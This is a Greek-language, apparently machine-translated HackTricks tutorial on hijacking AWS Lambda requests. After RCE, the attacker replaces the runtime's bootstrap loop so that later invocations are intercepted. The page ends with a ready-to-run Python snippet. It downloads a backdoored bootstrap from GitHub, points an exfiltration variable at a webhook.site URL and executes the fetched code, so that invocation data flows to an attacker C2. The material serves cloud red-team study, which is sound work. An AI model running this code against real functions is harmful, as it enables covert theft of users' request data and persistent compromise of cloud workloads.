AWS - Steal Lambda Requests

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Ερυθρού Συνεργείου HackTricks AWS)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Ροή Lambda

  1. Slicer είναι ένας διεργασία έξω από τον εμπορευματοκιβώτιο που στέλνει κλήσεις στη διαδικασία init.

  2. Η διαδικασία init ακούει στη θύρα 9001 αποκαλύπτοντας μερικά ενδιαφέροντα σημεία:

  • /2018-06-01/runtime/invocation/next – λήψη του επόμενου συμβάντος κλήσης

  • /2018-06-01/runtime/invocation/{invoke-id}/response – επιστροφή της απάντησης του χειριστή για την κλήση

  • /2018-06-01/runtime/invocation/{invoke-id}/error – επιστροφή σφάλματος εκτέλεσης

  1. Το bootstrap.py έχει έναν βρόχο που λαμβάνει κλήσεις από τη διαδικασία init και καλεί τον κώδικα των χρηστών για να τις χειριστεί (/next).

  2. Τέλος, το bootstrap.py στέλνει στη διαδικασία init την απάντηση

Σημειώστε ότι το bootstrap φορτώνει τον κώδικα του χρήστη ως ένα πρόσθετο, οπότε οποιαδήποτε εκτέλεση κώδικα που πραγματοποιείται από τον κώδικα των χρηστών συμβαίνει πραγματικά σε αυτήν τη διαδικασία.

Κλοπή Αιτημάτων Lambda

Ο στόχος αυτής της επίθεσης είναι να κάνει τον κώδικα των χρηστών να εκτελέσει μια κακόβουλη διαδικασία bootstrap.py μέσα στη διαδικασία bootstrap.py που χειρίζεται το ευάλωτο αίτημα. Με αυτόν τον τρόπο, η κακόβουλη διαδικασία bootstrap θα αρχίσει να επικοινωνεί με τη διαδικασία init για να χειριστεί τα αιτήματα ενώ το νόμιμο bootstrap είναι παγιδευμένο εκτελώντας τον κακόβουλο, έτσι δεν θα ζητήσει αιτήματα από τη διαδικασία init.

Αυτό είναι ένα εύκολο έργο να επιτευχθεί καθώς ο κώδικας του χρήστη εκτελείται από το νόμιμο bootstrap.py διαδικασία. Έτσι ο επιτιθέμενος θα μπορούσε:

  • Αποστολή ψεύτικου αποτελέσματος της τρέχουσας κλήσης στη διαδικασία init, έτσι η init νομίζει ότι η διαδικασία bootstrap περιμένει για περισσότερες κλήσεις.

  • Πρέπει να σταλεί ένα αίτημα στο /${invoke-id}/response

  • Το invoke-id μπορεί να αποκτηθεί από τη στοίβα της νόμιμης bootstrap.py διαδικασίας χρησιμοποιώντας το inspect πακέτο της Python (όπως προτείνεται εδώ) ή απλά ζητώντας το ξανά από το /2018-06-01/runtime/invocation/next (όπως προτείνεται εδώ).

  • Εκτέλεση μιας κακόβουλης boostrap.py που θα χειριστεί τις επόμενες κλήσεις

  • Για λόγους αόρατης λειτουργίας, είναι δυνατόν να σταλούν οι παράμετροι κλήσης των λάμδα σε έναν ελεγχόμενο από τον επιτιθέμενο C2 και στη συνέχεια να χειριστεί τα αιτήματα όπως συνήθως.

  • Για αυτήν την επίθεση, είναι αρκετό να αποκτήσετε τον αρχικό κώδικα του bootstrap.py από το σύστημα ή το github, προσθέσετε τον κακόβουλο κώδικα και τρέξετέ τον από την τρέχουσα κλήση λάμδα.

Βήματα Επίθεσης

  1. Βρείτε μια ευπάθεια RCE.

  2. Δημιουργήστε έναν κακόβουλο bootstrap (π.χ. https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)

  3. Εκτελέστε τον κακόβουλο bootstrap.

Μπορείτε εύκολα να εκτελέσετε αυτές τις ενέργειες τρέχοντας:

python3 <<EOF
import os
import urllib3

# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data

# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"

exec(new_runtime)
EOF

Για περισσότερες πληροφορίες ελέγξτε https://github.com/carlospolop/lambda_bootstrap_switcher

Αναφορές

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated